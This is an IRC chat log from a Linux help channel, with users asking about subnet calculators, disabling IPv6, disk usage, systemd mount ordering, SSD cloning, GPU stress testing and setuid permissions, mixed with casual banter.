13:05 < the_drow> mcdnl, smcroute doesn't support source cidrs
13:05 < the_drow> I was about to ask if there is a linux tool that translates CIDRs to IPs
13:06 < mcdnl> ipcalc
13:06 < mcdnl> but what do you mean to translate?
13:06 < the_drow> I want to write a script that will generate the scmroute.conf file
13:06 < the_drow> 192.168.0.1/32 -> 192.168.0.1
13:07 < the_drow> or 10.0.0.1/16 -> 10.0.0.0, 10.0.0.1 ...
13:07 < mcdnl> so 192.168.0.1/30 would be 192.168.0.0 192.168.0.1 192.168.0.2 192.168.0.3 ?
13:07 < mcdnl> aight
13:08 < searedvandal> ipcalc / sipcalc
13:08 < the_drow> what's sipcalc?
13:08 < mcdnl> https://imgur.com/a/M41mQi5
13:09 < searedvandal> "Sipcalc is an console based ip subnet calculator with IPv4 and IPv6 support." https://github.com/sii/sipcalc
13:09 < mcdnl> i have to check that out
13:09 < the_drow> so they are just different tools?
13:10 < searedvandal> yeah
13:10 < jim> mcdnl, well 192.168.0.0 is special and can't be used as a host
13:10 < mcdnl> pretty alike for what i see
13:10 < the_drow> yup
13:10 < mcdnl> i know jim, network name
13:11 < the_drow> ipcalc has colors
13:11 < jim> but 192.168.0.255 is also special
13:11 < mcdnl> or not
13:11 < wiebel> the_drow, there is zero chance to get a MC from the network's address 172.16.0.0 and I see no harm in receiving global unicasts from 172.31.255.255
13:11 < mcdnl> depends on subnet mask
13:12 < mcdnl> jim: 192.168.0.0/23 -> 192.168.0.255 is a perfectly useable address
13:12 < mcdnl> like 192.168.1.0
13:12 < wiebel> the if I might assume that 172.16.0.0/12 is a routed network.
13:12 < jim> mcdnl, ok, so the first and last addrs
13:12 < the_drow> wiebel, there's no router, sometimes there's no switch. Just computers connected over ethernet like it's 1989 :P
13:13 < jim> the usual netmask for 192.168 is /24
13:14 < mcdnl> thats for home environments
13:14 < wiebel> I'm not talking aboiut routers. If the /12 subnet is reached over a gateway it is "routed" a such the networ address and the global unicast address are not usable for normal ip traffic
13:14 < mcdnl> i have 192.168 /18 networks for wireless guest networks
13:14 < jim> but I suppose you can use anything more than /15
13:15 < mcdnl> if you want to keep respecting the standard
13:15 < mcdnl>  /16 is the biggest size for 192.168
13:15 < wiebel> jim, https://tools.ietf.org/html/rfc1918
13:15 < rocketmagnet> hi
13:15 < mcdnl> in theory you can use whatever you want, you'd just get some internet portios unreachable
13:15 < jim> hi
13:15 < mcdnl> portions*
13:16 < rocketmagnet> how can i disable ipv6 for a certain interface (in my case eth0 and the wlan interface)
13:16 < rocketmagnet> i'm using kernel 3.x
13:16 < mcdnl> https://superuser.com/questions/575684/how-to-disable-ipv6-on-a-specific-interface-in-linux
13:16 < rocketmagnet> disable it with modprobe.d doesn't work
13:16 < mcdnl> sysctl
13:16 < rocketmagnet> after restart it's the same
13:16 < rocketmagnet> i tried that also but there are no options for ipv6
13:17 < mcdnl> yes there are
13:17 < mcdnl> net.ipv6.conf.*interface*.disable_ipv6 = 1
13:17 < rocketmagnet> i only found a way to disable it when i pass the kernel parameter ipv6=0 to the kernel parameters in grub, but i'm on kali and have no grub so i don't know how to set the kernel parameters
13:17 < Wulf> rocketmagnet: no grub? really?
13:19 < rocketmagnet> i'm on kali
13:19 < mcdnl> kali uses grub afaik
13:19 < mcdnl> do this on root console: sysctl -a | grep ipv6
13:19 < rocketmagnet> there is no /etc/default/grub ;:X
13:20 < shrdlu68> Isn't it a debian derivative?
13:20 < rocketmagnet> i tried sysctl net.ipv6.eth0.conf.disable_ipv6 0 and i get: sysctl: cannot stat /proc/sys/0
13:20 < mcdnl> it is shrdlu68
13:20 < shhr> no /boot/grub ?
13:20 < mcdnl> rocketmagnet: ip link and see how your wireless card is named
13:21 < mcdnl> net.ipv6.>>> eth0 <<< your interface name.conf.disable_ipv6
13:22 < mcdnl> rocketmagnet: did you execute "ip link" ?
13:23 < rocketmagnet> just ip link ? the link is up already
13:23 < mcdnl> ip link shows you data about your physical interfaces
13:23 < mcdnl> you need your wifi card interface name (wlan0? rt0? ... there are many possibilities)
13:25 < mcdnl> you should get 2-3 interfaces, on a standard laptop with ethernet port it should be something like lo, eth0 and wlan0
13:27 < djph> mcdnl: well, for a sane naming convention.  udev(d) tends to default to silly names like en0omgwtf0
13:28 < shrdlu68> Ah, I remember the good old days of eth0, wlan0
13:28 < mcdnl> yeah right
13:28 < shrdlu68> Then came some change in the kernel (optional, IIRC).
13:28 < djph> shrdlu68: you can have them back, with a quick "shutit udev" script.
13:29 < mcdnl> my debian gets the names well
13:29 < jim> sometimes the interfaces do get those older names
13:29 < djph> jim: yeah, when udev is properly configured (either by upstream, or the operator)
13:29 < Sitri> Remove the 10-network... whatever file from udev
13:29 < mcdnl> https://unix.stackexchange.com/questions/396382/how-can-i-show-the-old-eth0-names-and-also-rename-network-interfaces-in-debian-9
13:30 < Sitri> It does exactly one thing: screw the interface names
13:30 < shrdlu68> Too late, already got used to enp1s0.
13:31 < shrdlu68> At least the TAP interfaces are tap<n>
13:34 < rocketmagnet> shhr: no /boot/grbu
13:35 < rocketmagnet> but i found /boot/cmdline.txt
13:35 < shrdlu68> Is that a raspberry pi?
13:36 < repys> why I get different size from disk mounted with samba between the local disk and the samba remote disk?
13:36 < bipul> See my sda1 is full. I need to know which directory or application is taking too much space. And it's possible after identifying that directory or application, i can migrate it to others partition table i.e sda2?
13:36 < repys> locally I get 10GB from df and same disk but from samba I get 50GB
13:37 < djph> bipul: perhaps.
13:37 < Sitri> repys: symlinks?
13:37 < Sitri> Or sparse files?
13:38 < bipul> djph, ? 1. I would like to know which directory is taking too much spaces?
13:38 < mcdnl> bipul: man du?
13:38 < Sitri> bipul: use df
13:38 < Sitri> Err
13:38 < Sitri> Yeah, du
13:38 < rumpel> ncdu is also nice
13:38 < mcdnl> i agree
13:38 < djph> ^ what they said
13:40 < Sveta> ncdu++
13:40 < introom> hi
13:40 < introom> what's the operating system on stm32 board?
13:42 < Sveta> i'd ask ##hardware :-/
13:42 < shhr> rocketmagnet : mmm... not sure. That's for passing instructions to the kernel. Be careful :)
13:42 < iveqy> hi. I've an asus zenbook and have pluggin in an external monitor with HDMI. It is shown correctly by xrandr but is doesn't display any picture
13:43 < mcdnl> rocketmagnet: go find what is your wireless interface name and then disable ipv6 for it with sysctl, that's all
13:47 < BluesKaj> iveqy, what about OpenGL?
13:47 < iveqy> BluesKaj: what about it?
13:47 < iveqy> BluesKaj: I don't understand you...
13:48 < BluesKaj> ok nvm, I can see whwere this is going
13:50 < wiebel> introom, stm32 are not meant to run a full blown OS. RTOS might be a choice. But besides that. Normally you run native code on those little ones.
13:50 < iveqy> BluesKaj: I don't mean to be rude. I just don't understand the connection between opengl and output on hdmi
13:50 < BluesKaj> I use it all ther time
13:51 < iveqy> I thought opengl was a graphics library on top on X
13:53 < wiebel> iveqy, have you used xrandr only to list you monitors or did you try to activate the Monitor via xrandr --output HDMI --auto or whatever?
13:54 < the_drow> Does anyone know if smcroute support device name wildcards?
13:56 < searedvandal> the_drow, it's listed as a feature, so would assume so.
13:56 < searedvandal> "Interface wildcard matching, eth+ matches eth0, eth15"
13:56 < BluesKaj> iveqy, , my mistake, I mistook xrandr for xrender
13:58 < the_drow> searedvandal, where?
13:58 < the_drow> oh it's in the README and not in the manpage
13:58 < BluesKaj> I better enlarge the fonts
13:59 < iveqy> wiebel: yes I did. It seems to work fine except that I don't get any output
13:59 < searedvandal> the_drow, yeah, the readme
13:59 < iveqy> BluesKaj: ah okay
14:01 < introom> wiebel: whaat's the toolchain there? is there gcc and glibc ?
14:02 < bipul> I see,My VM inside /dev/sda1 "/usr/" is taking too much space. And i don't find any other partition table inside it, except swap partition. I'm wondering..(Since it's free) possible to assign a 10GB disk to it, And move my /usr/ directory to there?
14:03 < bipul> or may be giving 10GB disk to VM, might sort out the problem?
14:05 < bipul> I have used "sudo du --max-depth=2  --human-readable /| sort --human-numeric-sort" and found that /usr/ is taking much space.
14:06 < ananke> bipul: or just use ncdu
14:08 < bipul> ananke, I need to install this command. Between i'm looking for the root cause. I need to know how my /dev/sda1 is fulled?
14:08 < EvilRoey> Hi there!   My dmesg output is full of messages of the form "[2396418.770521] hpet1: lost 478 rtc interrupts"  How do I fix this??
14:08 < EvilRoey> * mynick (58e65483@gateway/web/fre
14:09 < wiebel> introom, gcc yes, but glibc is too big, https://github.com/cleanflight/cleanflight is an complex example of code running on an stm32
14:09 < bipul> Or may be i could make symbolic link at /usr/ that redirect the real directory migrated at sda6
14:10 < ananke> bipul: du -hs /*
14:10 < wiebel> introom, but I think Sveta is richt, this is slightly beyond the scope of this channel. ;)
14:10 < ananke> bipul: and 'too much space' means very little without context
14:11 < bipul> ananke, Yes.
14:12 < FMan> "configuration failed, please install autoconf first"
14:18 < FMan> /var/www/html/ seems superfluous to me
14:19 < Psi-Jack> ncdu is a very nice ncurses-enhanced du tool. :)
14:20 < FMan> do I bzip2 or xz?
14:21 < kurahaupo> ananke: how does -h make it easier
14:22 < kurahaupo> in du -h
14:22 < ananke> kurahaupo: human readable
14:23 < ananke> last time I checked, it's easier for most humans to interpret
14:23 < repys> how can I run at boot a systemd unit before fstab?
14:23 < shrdlu68> -h, or, --human-readable. even ls has that flag.
14:24 < kurahaupo> ananke: I know what it does; it means that the digits are not aligned, so it's harder to spot at a glance which one is biggest
14:25 < ananke> kurahaupo: that may be a valid complaint if there were hundreds of entries
14:28 < marz> If you're setting up a box as a nameserver, what address do you in resolv.conf? 127.0.0.1?
14:30 < shrdlu68> nameserver != dnsserver
14:31 < djph> shrdlu68: yes it does.
14:31 < freelancerbob>  need help to set tomcat as service on centos
14:32 < searedvandal> repys, use the Before= directive on that unit and set it to run before systemd.mount maybe?
14:32 < djph> marz: that's fine (so long as whatever you're running either asks an upstream server (i.e. is configured as a cache, e.g. of google's DNS), or can do recursive resolution itself
14:32 < shrdlu68> djph: Er, yeah.
14:32 < ananke> freelancerbob: systemctl enable whatevertomcat
14:32 < djph> shrdlu68: go get another coffee :)
14:35 < freelancerbob> ananke i have run tomcat as /etc/init.d/tomcat start , but now tomcat is running but when i try command systemctl status tomcat i have got message tomcat is not running, active: failed
14:36 < marz> djph: Oh, so as long as it is set as a recursive server then it can go ahead and configure resolv.conf to its local running nameserver right?
14:36 < djph> marz: sure, that's how I have my local nameserver set
14:38 < marz> djph: thanks
14:39 < ananke> freelancerbob: for starters, why are you using /etc/init.d/ when you use systemd?
14:39 < ananke> freelancerbob: not to mention, you never gave us details: what centos version, how did you install tomcat, etc
14:40 < Psi-Jack> Well, only CentOS 7 has systemd.
14:41 < shrdlu68> djph: Guess the distintion I was getting at was the "authoritative" nameserver.
14:41 < freelancerbob> ananke because i find tutorial with /etc/init.d
14:41 < freelancerbob> *found
14:42  * Psi-Jack facepalms.
14:44 < searedvandal> for the tutorial route, there is enough tutorials out there on tomcat and systemd as well.
14:48 < djph> Psi-Jack: why do I have an image of you facepalming so hard, one can see a handprint on the back of your head?
14:49 < mcdnl> i'd imagined the hand actually going thru
14:49 < Yariko> JED still a good choice for programming?
14:51 < djph> mcdnl: yeah, I couldn't find the right words
14:52 < EvilRoey> Yariko: jed is awesome
14:52 < EvilRoey> keep using it
14:53 < FMan> I just made my Unix display the date Wed Dec 31 19:00:00 EST 1969
14:54 < searedvandal> cool story
14:54 < kurahaupo> FMan: you make it sound like it's something unusual
14:54 < FMan> thank you
14:54 < heftig> anything more straight-forward than    `foo | tee /dev/fd/2 | bar`   ?
14:54 < mcdnl> kurahaupo: thats before the unix epoch
14:55 < mcdnl> i guess that's why it is unusual
14:55 < searedvandal> system is probably set to east coast time
14:55 < DLange> date -d 'today - 1000 years' # where's the problem?
14:57 < mcdnl> with such a date on a unix pc what would happen if you tried to get an epoch timestamp? or operate with it
14:57 < kazdax> hi i installed rhel server on my system asnd now when i try and install any app it says not found
14:57 < kazdax> i am subscribed tot he customer portal
14:58 < searedvandal> DLange, that should run just fine?
14:58 < kazdax> i tried using the app installation application and it it ..it says the app exist
14:58 < kazdax> the apps i tried downloading were xchat.,hexchat and koverxsation
14:58 < DLange> searedvandal: try it, it won't break anything
14:58 < kurahaupo> mcdnl: US Eastern time at new years is UTC-5 so that's exactly the Unix epoch
14:58 < DLange> (besides your trust in the UNIX epoc being important)
14:58 < searedvandal> breaks nothing
14:59 < mcdnl> oh, didnt think about that
15:00 < j1745-26> kazdax Whats the error message?
15:01 < kazdax> the error message when i do yum search
15:01 < kazdax> is that app could not be found and the same error message when i try using the gUI App installer
15:01 < mcdnl> tricky thing, time, all wibbly wobbly
15:02 < searedvandal> time, can never get it back
15:02 < baako> https://paste.ee/p/aK8cd#WlftXpu3n13qODyQsUfLVMyHaZQRve01 i ran the command "sudo dpkg -i mysql-workbench-community-6.3.10-1ubuntu17.10-amd64.deb" and it ws not install. I am ubuntu ubuntu 18
15:02 < mcdnl> yet you can board on a plane and land sooner than you took off
15:03 < baako> how can i install myswl workbench and all its depencies all in one command?
15:03 < mcdnl> https://dev.mysql.com/downloads/repo/apt/
15:04 < searedvandal> baako, mysql workbench 6.3.8 is in the ubuntu repos, should be able to install that version via apt-get install
15:04 < DLange> apt install mysql-workbench # works
15:04 < DLange> (plain Ubuntu repos)
15:04 < morf> unless you have other than mysql db fork and get f*ed by wrong library dependencies
15:05 < morf> not sure if that's fixed yet
15:05 < baako> searedvandal: sudo apt install mysql-workbench install an older version of it
15:05 < j1745-26> kazdax try to update the repos 'sudo yum update'
15:06 < mgolisch> if you install stuff with dpkg that has dependencies you need to run apt install -f or something to install those dependencies
15:06 < searedvandal> baako, yes. as I said, it's the 6.3.8 version that's in the ubuntu repo. check the link mcdnl posted. https://dev.mysql.com/downloads/repo/apt/ maybe that will give you the 6.3.10 version.
15:14 < pankaj> I am able to connect to 'irc.oftc.net' but when it comes to authentication or registration commands it does not identifies it.
15:19 < FMan> Permission denied ARRRGGGHH
15:20 < ananke> FMan: not a single thing you've said all morning has any context
15:20 < FMan> thanks
15:21 < shiroininja> lol dude drunk
15:21 < FMan> I can't believe 'autom4te' is a thing
15:24 < djph> FMan: hmm?
15:24 < FMan> I was just trying something, but it failed, so I gave up
15:24 < FMan> sorry for bothering you, have a nice day!
15:24 < mcdnl> brb
15:25 < j1745-26> FMan https://www.youtube.com/watch?v=dQw4w9WgXcQ
15:34 < redredhathat> can someone help me point glib to zlib
15:34 < redredhathat> I have zlib properly installed in my home dir
15:34 < redredhathat> but i cant figure how to point glib to zlib properly
15:36 < redredhathat> i tried setting PKG_CONFIG_PATH to the zlib.pc file but no luck
15:39 < redredhathat> any help is appreciated
15:39 < mgolisch> whats the error you get?
15:40 < redredhathat> "configure: error: *** Working zlib library and headers not found ***"
15:40 < redredhathat> and i set my PKG_CONFIG_PATH to $PKG_CONFIG_PATH:/home/maeisem/src/zlib/lib/pkgconfig/zlib/pc
15:40 < redredhathat> wait a sec
15:41 < redredhathat> ya same error
15:41 < redredhathat> zlib is installed to ~/src/zlib/
15:41 < j1745-26> how do you set PKG_CONFIG_PATH?
15:42 < redredhathat> PKG_CONFIG_PATH=$PKG_CONFIG_PATH:/home/maeisem/src/zlib/lib/pkgconfig/zlib.pc
15:42 < mgolisch> yeah thats wrong, point it to the path where the .pc file is not the actual file
15:42 < j1745-26> try export PKG_CONFIG_PATH= ...
15:43 < solidfox> PKG_CONFIG_PATH=$PKG_CONFIG_PATH:/home/maeisem/src/zlib/lib/pkgconfig this instead I think
15:43 < solidfox> mgolisch, right?
15:44 < redredhathat> same error
15:44 < redredhathat> oh i got it now
15:45 < redredhathat> dont know what i made different
15:46 < solidfox> ~ who knows ~
15:56 < repys> how to wait mount point in fstab for 1 min or so?
15:57 < mgolisch> why?
15:57 < ananke> repys: what's the actual problem?
15:57 < searedvandal> network mount that needs to wait for net to be up?
15:58 < repys> I have to mount samba (fstab) after another systemd service has started
15:58 < repys> not network but a systemd service
15:58 < ananke> repys: you can set that up in fstab to require that given systemd unit to start first
15:58 < repys> how?
15:59 < searedvandal> x-systemd.after=
15:59 < ananke> there ^
15:59 < searedvandal> for more info see https://www.freedesktop.org/software/systemd/man/systemd.mount.html
16:02 < mydog2> morn....
16:03 < j1745-26> Microsoft failing at Debian packaging: https://www.preining.info/blog/2018/06/microsofts-failed-attempt-on-debian-packaging/
16:04 < MrSpock> even debian fails at debian packaging
16:04 < mydog2> ls -al /cloud_nfs_parse/austincc*__parse.dat | wc -l  -- generates the count of the ls
16:05 < mydog2> i'm trying to figureout how to create a shell script.. where I can "echo/print" the cmd as well as run the cmd..
16:05 < repys> it doesn't work in raspbian
16:06 < mydog2> using set -x; ls... | wc -l .. then seems to display the intermediate ls..
16:06 < mydog2> i've also tried to redirect the ls.. to /dev/nul with no luck..
16:06 < mydog2> any thoughts?
16:06 < ananke> mydog2: don't parse ls
16:08 < mydog2> ananke, ???
16:11 < ananke> mydog2: use find instead. ls is not for parsing
16:16 < redredhathat> so I've made progress
16:16 < redredhathat> but now im having issues with libmount
16:17 < redredhathat> in glib-2.56
16:17 < kurahaupo> mydog2: prefix each command that you want to show well as run, with a word of your choosing, say "v". Before that, define it as a function like this: v() { printf '+ %s\n' "$*"; "$@"; }
16:17 < mydog2> ananke, - ok.. but still dont see how to display the cmdnae
16:18 < redredhathat> I installed libmount with pip and from a tarball on pypi
16:34 < DolphinDream> what's a good way to clone one SSD on another SSD with the same size ?
16:35 < rumpel> DolphinDream, "dd" would be one way
16:35 < searedvandal> dd
16:36 < DolphinDream> so.. i have a computer with the old SSD installed.. and i can add the other SSD to another slot on the same computer.. while i am booted to ubuntu 16.04 on the old SSD can i used dd to clone it (identically) on the second SSD ?
16:37 < rumpel> DolphinDream, yes
16:37 < DolphinDream> really?
16:37 < DolphinDream> i imagine that a lot of files are written by the system while i run on the first SSD and while i do the cloning operation.. i can't imagine the clone would be identical.
16:37 < rumpel> DolphinDream, oh... when you put both drives in the same computer, you might get a problem with identical UUIDs. But you can change that afterwards.
16:37 < DolphinDream> but maybe it doesn't have to be 100% identical ?
16:38 < rumpel> DolphinDream, cloning it is the most straight-forward method
16:38 < rumpel> DolphinDream, and it doesnt copy files. It copies bytes and works outside of the file systems.
16:39 < DolphinDream> rumpel: wouldn't the old SSD content change during the cloning ?
16:39 < lilltiger> DolphinDream: boot from a live cd/usb and do the cloning
16:39 < rumpel> DolphinDream, it shouldn't. That's why you shouldn't have write access to any of the data on the source drive
16:40 < mcdnl> DolphinDream: what lilltiger said
16:40 < DolphinDream> littlebean: yeah thats what i thought
16:48 < sveinse> Is is possible to find a pattern with find and then have the file sizes for all matches summarized. How could that be done?
16:49 < ayecee> sveinse: by breaking it into steps and doing those steps one by one
16:49 < ayecee> sveinse: i.e. first, find files with a pattern. can you do that one?
16:50 < sveinse> ayecee: yes, find is no problem
16:50 < ayecee> okay, can you have find report file sizes, possibly with -printf ?
16:51 < sveinse> ayecee: yeah, done. So what can sum the lines from printf?
16:51 < ayecee> a lot of things, but people often use awk for this. there's probably a quick recipe for summing numbers online.
16:52 < sveinse> ayecee: yup, I'll find that. thanks for pointing me in the direction
16:53 < RyansWorld> Anyone here use AWS lightsail?
16:54 < ayecee> one way to find out is to ask a question about AWS lightsail
16:55 < fattredd> I'm looking for a way to scan through a file for a value, then see if that line is commented out. It must support multi-line comments. Any magicians in here?
16:55 < RyansWorld> Ok, I got my stite all setup on my lightsail instance.  Everything works but when i leave it stops running after an amount of time.
16:55 < RyansWorld> I tried to use PM2
16:56 < RyansWorld> and etc but nothing seems to keep my node.js site running
16:57 < RyansWorld> I am wondering if aws lightsail is just a bad service for a persistant webstie?
16:57 < ayecee> fattredd: what an odd combination. most people would check only uncommented lines for the value, or maybe just the commented lines, depending on what you're trying to achieve.
16:57 < ayecee> RyansWorld: i don't think that's a very helpful question for you.
16:57 < ayecee> RyansWorld: try something more like "how do I make X do Y"
16:58 < RyansWorld> How do you make a node.js site run forever  on AWS Lightsail
16:58 < RyansWorld> is my real question
16:58 < ayecee> nice
16:59 < pingfloyd> lol, Microsoft are a bunch of noobs
17:00 < ayecee> *eyeroll*
17:01 < fattredd> ayecee: That's fair. You know of a way to extract all the commented lines from a file? Maybe with sed?
17:01 < ayecee> fattredd: commented how?
17:01 < sveinse> Is there any command-line tool/util in linux that can print an integer as a human readable size, using k M G or T ? (You never know all the wheel that is ready-made out there, saving one for reinventing it.)
17:02 < fattredd> Either a "//" for single lines, or "(*" --- "*)" for multi-line
17:02 < ayecee> not offhand. what language is this?
17:03 < shrdlu68> fattredd: Sounds simple with awk
17:04 < pingfloyd> https://www.preining.info/blog/2018/06/microsofts-failed-attempt-on-debian-packaging/  <-- haha, removing /bin/sh and linking it to /bin/bash in a postinstall script.
17:04 < ayecee> simple how?
17:04 < shrdlu68> Use range matching to match everything between (* and *)
17:04 < ayecee> i don't know offhand what that looks like
17:05 < mawk> lol pingfloyd
17:06 < pingfloyd> mawk: it's ironic, because it is such a typical mindset of theirs to stomp all over things without a care in the world.
17:06 < pingfloyd> it got the reception by the linux community it deserved
17:07 < pingfloyd> doubt they'll learn a lesson about that mindset
17:07 < chomwitt> with evtest i can see the usb usage ids of my keyboard, also i've found the keycode->keysum related files. But where is the mapping scancode(usb usage id) -> keycode ?
17:11 < fattredd> ayecee: It'
17:11 < fattredd> s structured text
17:13 < Thedarkb> I'm looking for a command to make my GPU overheat.
17:13 < Thedarkb> Must work with OpenGL 1.4
17:13 < Thedarkb> It's an old machine.
17:13 < GunqqerFriithian> uh
17:13 < GunqqerFriithian> why?
17:14 < Thedarkb> Previous owner said he fucked up repasting it.
17:14 < Thedarkb> But it seems fine to me.
17:14 < Thedarkb> So I want to try it out
17:14 < Thedarkb> The CPU seems to be OK
17:14 < GunqqerFriithian> he repasted the GPU?
17:14 < ayecee> mind the language please
17:14 < Thedarkb> I've been running a stress command for an hour now and it's at 68°c
17:14 < Thedarkb> Oh, sorry.
17:14 < Thedarkb> GunqqerFriithian, Yeah
17:14 < Thedarkb> well
17:14 < jhodrien> https://benchmark.unigine.com/heaven
17:14 < GunqqerFriithian> but... why?
17:14 < Thedarkb> He replaced the thermal pad.
17:15 < Thedarkb> I assume because it was overheating.
17:15 < fattredd> shrdlu68: Range matching?
17:15 < jhodrien> Why 1.4?  What is this card?
17:15 < Thedarkb> It's a ThinkPad Z60m, first ThinkPad with an aspect ratio other than 4:3
17:15 < GunqqerFriithian> jesus what year is that?
17:15 < Thedarkb> Old intel iGPU in the northbridge.
17:15 < Thedarkb> Err, 2007?
17:16 < Thedarkb> That's the BIOS date anyway.
17:16 < jhodrien> glxgears would probably do it.
17:16 < GunqqerFriithian> whew
17:16 < ayecee> stone axes and clay tablets
17:16 < jhodrien> I've actually smoked a couple of cards with glxgears ;)
17:16 < Thedarkb> Will that peg it at 100%?
17:16 < Thedarkb> Ah, perfect.
17:16 < Thedarkb> I'm going to sell this.
17:16 < jhodrien> It'll only test a subset of the card, as it's not memory intensive.
17:16 < Thedarkb> It's still a pretty competent machine for watching netflix.
17:16 < jhodrien> But it's enough to make a card hit 130C.
17:16 < GunqqerFriithian> Ill buy it for $2 + shiping
17:16 < Thedarkb> I'll get more than that for it.
17:16 < Thedarkb> I paid $15 for it.
17:17 < Thedarkb> Bought it sight unseen off of a polish guy in ##ibmthinkpad
17:17 < GunqqerFriithian> only slightly sketchy
17:17 < Thedarkb> It's good enough, does the job.
17:17 < Thedarkb> Has both a trackpoint and a nice synaptics trackpad.
17:18 < GunqqerFriithian> >trackpoints
17:18 < Thedarkb> Lovely aren't they
17:18 < Thedarkb> I'm on an X200 at the moment.
17:18 < Thedarkb> Divine.
17:18 < GunqqerFriithian> I'm on a dell inspiron N7110 8GB ram and a 500GB ssd now
17:19 < Thedarkb> Right, I've been stressing that Z60m for an hour now and it's at 70°c and is showing no signs of getting any higher.
17:19 < GunqqerFriithian> i5 no dedicated graphics wooo
17:19 < Thedarkb> The CPU
17:19 < Thedarkb> I'll try the GPU now.
17:19 < GunqqerFriithian> inb4 it explodes
17:20 < Thedarkb> 70°c is a pretty good temp in my opinion.
17:20 < GunqqerFriithian> yeah
17:21 < Thedarkb> Pentium Ms are very good thermally.
17:22 < Thedarkb> They were actually the basis for the Core Duo and Core 2 Duo.
17:22 < Thedarkb> This card gets 58fps in glxgears
17:22 < Thedarkb> Disappointing.
17:23 < Thedarkb> Oh, it just ticked up to 60
17:23 < ayecee> time to try it out down hill with wind
17:24 < Thedarkb> So.... glxgears has the potential to smoke my card?
17:24 < Thedarkb> That's what I'm looking for.
17:24 < ayecee> sure. it'll work the card as hard as it can.
17:25 < ayecee> but nothing you do in software should be able to overheat hardware if the cooling is working properly.
17:26 < jhodrien> In our case, we put a couple of single slot cards next to each other to test if the cooling was up to it.
17:26 < jhodrien> It wasn't.
17:31 < Psi-Jack> ChipM0nk: Away nicks are frowned upon and discouraged here as they are not useful noise. Would you kindly disable whatever is doing that?
17:34 < Thedarkb> jhodrien, GLX gears has gotten my card up to 56°c
17:35 < Psi-Jack> 56'C? Not bad.
17:35 < buoyantair> Hey guys, is http://tldp.org/ still relevant for a linux beginner to get familiar with linus?
17:36 < Psi-Jack> buoyantair: I don't think.... tldp.org helps getting familiar with Linus, no.
17:36 < Psi-Jack> Linus is a person, afterall.
17:36 < buoyantair> Psi-Jack OH NOOOOOOOO
17:36 < buoyantair> I meant LINUX
17:36 < buoyantair> _facepalm_
17:36 < Psi-Jack> What is LINUX?
17:36 < buoyantair> ok ok... i get where you're going, I mean linux...
17:37 < ChipM0nk> Psi-Jack, what you on about?
17:37 < Psi-Jack> ChipM0nk: [11:21:03] * ChunkzZ is now known as ChipM0nk
17:37 < buoyantair> guys? o.o
17:37 < ChipM0nk> Psi-Jack, and????
17:37 < ayecee> buoyantair: sure
17:37 < Psi-Jack> ChipM0nk: Away nicks is a bannable offense here if you keep it enabled.
17:37 < jhodrien> Thedarkb: I assume it's not synced to vblank and it's outputting lots of frames?
17:38 < buoyantair> ayecee: huh?
17:38 < ChipM0nk> Psi-Jack, what? it's not an away nick, it's a nick that I've added to my "group" !
17:38 < ayecee> buoyantair: sure, it's still relevant
17:38 < Psi-Jack> ChipM0nk: The suffixing Zz looks like sleeping looks like an away nick.
17:38 < mcdnl> buoyantair: if you are starting with a debian or derived, this might be good too
17:38 < Psi-Jack> And commonly used as such.
17:38 < mcdnl> https://www.debian.org/doc/manuals/debian-reference/
17:39 < ChipM0nk> Psi-Jack, no. I've been here years with the name ChunkzZ lol
17:39 < Psi-Jack> Ahhhhh.
17:39 < buoyantair> mcdnl: I am using manjaro but thanks
17:39 < Psi-Jack> My mistake then. :)
17:39 < Psi-Jack> buoyantair: Eww
17:39 < Thedarkb> jhodrien, How can I tell if it's synced to vblank?
17:39 < Thedarkb> I don't see any tearing.
17:39 < ayecee> Thedarkb: if it goes at the same frequency as vblank
17:39 < Psi-Jack> Are you running Manjaro... Or is it running YOU? Usually the latter. :)
17:40 < jhodrien> It shows how many frames per second it's outputting normally.
17:40 < ayecee> Thedarkb: in your case, it's going faster than that.
17:40 < ChipM0nk> Psi-Jack, your bad indeed lol I've been on here with ChunkzZ for like 3 years lol
17:40 < Thedarkb> Ah, that's what I want.
17:40 < Psi-Jack> Yeaaah, now that I think about it.. I have seen that.
17:42 < GunqqerFriithian> yup
17:42 < GunqqerFriithian> wc oops
17:42 < ayecee> quite
17:47 < paulcarroty> anybody know what chmod -s does?
17:47 < Dan39> paulcarroty: the man doesnt say?
17:47 < solidfox> paulcarroty, it removes the setuid permission
17:47 < solidfox> paulcarroty, setuid is a special permission where a program can set the current user id
17:47 < solidfox> paulcarroty, sudo uses this permission to switch to another user.
17:48 < paulcarroty> oh, thx
17:48 < solidfox> np
17:50 < mcdnl> fyi, ping does this as normal users can't send icmp requests (ping needs cap_net_raw)
17:51 < Dan39> paulcarroty: usually you will see that used like chmod u+s or chmod g+s though
17:51 < solidfox> mcdnl, interesting.
17:52 < solidfox> Dan39, u means change for user, and g means change for group, right?
17:52 < Dan39> yea
17:52 < Dan39> but -s will remove them all, u g o
17:52 < solidfox> I see,
17:52 < Dan39> well, there is no s+o i think, so remove u and g
17:52 < Dan39> o+s i mean
17:52 < Dan39> i dont think that exists
17:53 < Psi-Jack> solidfox: "you"
17:53 < mcdnl> u+s and g+s it's not the same
17:53 < solidfox> Psi-Jack, no lol, I meant the letter u, not the word u
17:53 < Psi-Jack> Oh d'uh, yes, user.
17:53 < Psi-Jack> o means other.
17:53 < autopsy> Haha.
17:53  * ayecee turns down Psi-Jack's sensitivity knob
17:53 < solidfox> o I see
17:53 < autopsy> Other yes.
17:53 < Psi-Jack> solidfox: "oh" :p
17:53 < solidfox> Psi-Jack, :p
17:54 < autopsy> I thought u was owner.
17:54 < mcdnl> solidfox: :)
17:54 < Psi-Jack> u=user=owner.
17:54 < Dan39> same thing autopsy
17:54 < ayecee> no, o is owner
17:54 < autopsy> Yeah ok.
17:54 < Dan39> -_-
17:54 < Psi-Jack> o=other. :p
17:54 < ayecee> XD
17:55 < Dan39> stop it ayecee! haha
17:55 < mcdnl> lol
17:55 < GunqqerFriithian> o=orthographic
17:55 < ayecee> o=overlord
17:56 < Psi-Jack> Hmmm, overlord. Yes... That sounds right.
17:56 < bipul> o= owner
17:56 < Psi-Jack> bipul: Nope. Not owner.
17:56 < ayecee> overlord or gtfo
17:56 < GunqqerFriithian> orthographic or gtfo
17:56 < buoyantair> :3
17:56 < bipul> o might be the user where he login.
17:56 < solidfox> g = gulag
17:56 < autopsy> God shut up.
17:57 < Psi-Jack> get the fracking overlord? Okay!
17:57 < GunqqerFriithian> g = god shut up
17:57 < solidfox> u = us
17:57 < autopsy> lmnop
17:57 < ayecee> 789
17:57 < GunqqerFriithian> 666
17:57 < autopsy> 10 11 12
17:58 < autopsy> lol 666
17:58 < ayecee> sacrilarious
17:58 < buoyantair> 777
